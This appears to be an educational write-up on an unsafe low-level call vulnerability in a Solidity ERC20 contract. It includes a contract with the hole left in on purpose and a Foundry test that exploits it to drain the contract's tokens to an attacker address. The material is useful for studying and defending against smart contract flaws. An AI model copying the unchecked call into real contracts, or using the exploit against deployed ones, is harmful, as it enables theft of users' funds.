Name: Unsafe Call Vulnerability
Description: In TokenWhale contract's approveAndCallcode function. The vulnerability allows an arbitrary call to be executed with arbitrary data, leading to potential security risks and unintended consequences. The function uses a low-level call (_spender.call(_extraData)) to execute code from the _spender address without any validation or checks on the provided _extraData. This can lead to unexpected behavior, reentrancy attacks, or unauthorized operations.
This excersise is about a low level call to a contract where input and return values are not checked If the call data is controllable, it is easy to cause arbitrary function execution.
Mitigation: Use of low level "call" should be avoided whenever possible.
REF
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
TokenWhale Contract:
contract TokenWhale {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleDeploy(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000; // 1 mil
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
/* Approves and then calls the contract code*/
function approveAndCallcode(
address _spender,
uint256 _value,
bytes memory _extraData
) public {
allowance[msg.sender][_spender] = _value;
bool success;
// vulnerable call execute unsafe user code
(success, ) = _spender.call(_extraData);
console.log("success:", success);
}
}
How to Test:
forge test --contracts src/test/UnsafeCall.sol-vvvv
// Function to test the UnsafeCall vulnerability
function testUnsafeCall() public {
// Setup the environment
address alice = vm.addr(1);
TokenWhaleContract = new TokenWhale();
TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));
console.log(
"TokenWhale balance:",
TokenWhaleContract.balanceOf(address(TokenWhaleContract))
);
// Alice tries to perform an unsafe call to transfer asset from TokenWhaleContract
console.log(
"Alice tries to perform unsafe call to transfer asset from TokenWhaleContract"
);
// Using the vm.prank() function to change the msg.sender
vm.prank(alice);
// Alice calls the approveAndCallcode function with encoded data that represents a call to the transfer function
TokenWhaleContract.approveAndCallcode(
address(TokenWhaleContract),
0x1337, // doesn't affect the exploit
abi.encodeWithSignature(
"transfer(address,uint256)",
address(alice),
1000
)
);
// Check if the exploit is successful
assertEq(TokenWhaleContract.balanceOf(address(alice)), 1000);
console.log("Exploit completed");
// Log the final balances
console.log(
"TokenWhale balance:",
TokenWhaleContract.balanceOf(address(TokenWhaleContract))
);
console.log(
"Alice balance:",
TokenWhaleContract.balanceOf(address(alice))
);
}
// A fallback function to receive ether
receive() external payable {}
Red box: exploited successful, drained out the TokenWhale.